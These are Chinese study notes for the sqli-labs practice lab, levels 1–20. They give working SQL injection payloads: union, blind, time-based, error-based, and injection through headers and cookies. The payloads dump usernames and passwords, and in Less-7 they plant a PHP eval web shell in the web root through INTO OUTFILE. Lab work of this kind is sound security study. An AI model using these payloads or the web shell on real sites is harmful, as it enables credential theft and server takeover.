sqli-labs学习1~20
注:为方便学习,加入两行代码
echo $sql;
echo "<br>";
贯穿始终的步骤:
mysql查询语句
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
less-1
注入漏洞:id=1'--+
知识点补充:
* order by //判断多少个注入点
* union select 1,2,3 //查看那些数据可以回显(id=-1)
* group_concat() //批量查询
* concat_ws('~',a,b) //查询a~b
查看当前数据库
id=-1' union select 1,2,database() --+
id=-1' union select 1,2,concat_ws('~',user(),version(),database()) --+
//查询数据库版本,路径,当前用户,当前数据库
查看数据库/所有数据库
id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+ //limit 决定查看序数
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查看表/所有表
id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x() limit 1,1--+
//十六进制绕过
id=-1' union select 1,2,group_concat(table_name) from information_schema. tables where table_schema=0x()--+
查看列信息/所有列信息
id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x() --+
id=-1' union select 1,2,group_concat(column_name) from information_schema. columns where table_name=0x()--+
连接查询用户名和密码/所有用户和密码
id=-1' union select 1,2,concat_ws('~',username,password)from security.users limit 1,1--+
id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+
less-2
注入漏洞:id=1--+,不需要'
less-3
注入漏洞:id=1')--+
less-4
注入漏洞:id=1”)--+
less-5(布尔型盲注)
注入漏洞:1'--+,布尔型盲注
知识点补充
1. left(a,b) 从左侧截取a的前b位,正确返回1,错则返回0 ——burpsuit爆破
2. regexp 正则表达式
/转意
^匹配开始部分
$匹配结束部分
.匹配任何字符
[:character_class:]术语类的所有字符匹配的字符类
[[:<:]],[[:>:]]word 边界,
3. like
'n%'以N开始的
'%g'以g结尾
'%s%'包含s
4.substr(a,b,c) 从b开始,截取a字符c位长度
ascii(substr((select database()),1,1)2分法获得字符
//当没有在当前数据库下没有回显,一般不适用
猜测字符方法
burpsuite爆破
手动二分法
脚本
示例
burpsuite: id=1' and left((select database()),1))='a'--+
less-6
注入漏洞:id=1”--+,布尔型盲注
less-7(一句话木马)
注入漏洞:id=1'))--+,布尔型盲注
知识点补充:
1.一句话木马: <?php @eval($_POST['attack']);?>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
【条件】
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
2.load_file('文件路径'):读取本地文件 (避免特殊字符使用双斜杠\\)
3.into outfile:写文件
示例
id=1')) union select 1,2,'<?php @eval($_POST[''pass'']);?>' into outfile 'D:\\learning_tools\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\test2.php' --+
less-8
注入漏洞:id=1'--+,布尔盲注
less-9(时间盲注)
注入漏洞:id=1' --+,时间盲注
实例
id=1' and sleep(5)--+ //延迟5秒表示注入成功
less-10
注入漏洞:id=1”--+,时间盲注
less-11
注入漏洞:uname=n'or 1=1 #&passwd=admin&submit=Submit
实例 (和get相同)
//查多少个注入点
uname=n' order by 2 #&passwd=admin&submit=Submit
//查到数据库——security
uname=n' union select 1,schema_name from information_schema.schemata limit 2,1 #&passwd=admin&submit=Submit
//查看表——users
uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit
//查看列——username
uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
//查所有username
uname=n' union select 1,group_concat(username) from security.users #&passwd=admin&submit=Submit
//查询用户~密码
uname=n' union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users #&passwd=admin&submit=Submit
less-12
注入漏洞:uname=n") or 1=1 #&passwd=admin&submit=Submit
less-13 (布尔盲注)
注入漏洞:uname=n') or 1=1 #&passwd=admin&submit=Submit
布尔型盲注
实例
burp suite爆破:
uname=n') or left(database(),1)='a' #&passwd=admin&submit=Submit
less-14
注入漏洞:uname=n" or 1=1#&passwd=admin&submit=Submit
布尔型盲注
less-15
注入漏洞:uname=addmin&passwd=ad' or 1=1 #&submit=Submit
注入点在passwd,其他一样
布尔型盲注
less-16
注入漏洞:uname=addmin&passwd=ad" or 1=1 #&submit=Submit
布尔型盲注
less-17(更新漏洞)
注入漏洞:uname=admin &passwd=dadad' # &submit=Submit
更新密码存在注入漏洞
知识点补充
updatexml(XML_document,XPath_string,new_value)
第一个参数:string格式,xml文件对象名称
第二个参数:xpath格式字符串
第三个参数:string格式,替换查找符合条件的数据
作用:改变文档中符合节点条件的节点值
实例
//返回当前数据库
uname=admin &passwd=dadad' and updatexml(1,concat(0x7e,(database())),1)# &submit=Submit
less-18(User-Agent漏洞)
注入漏洞:
User-Agent:'or updatexml(1,concat('~',(database())),1) or '1'='1
// '闭合
User-Agent:'or updatexml(1,concat('~',(database())),1), '','')#
//另一种闭合
实例
//查库
User-Agent:' or updatexml(1,concat(0x7e,(database())),1),'','')#
less-19(Referer漏洞)
注入漏洞:Referer:' or updatexml(1,concat('~',(database())),1) or '1'='1
注入点在referer,其他一样
less-20 (cookie漏洞)
注入漏洞:cookie中value值' #注入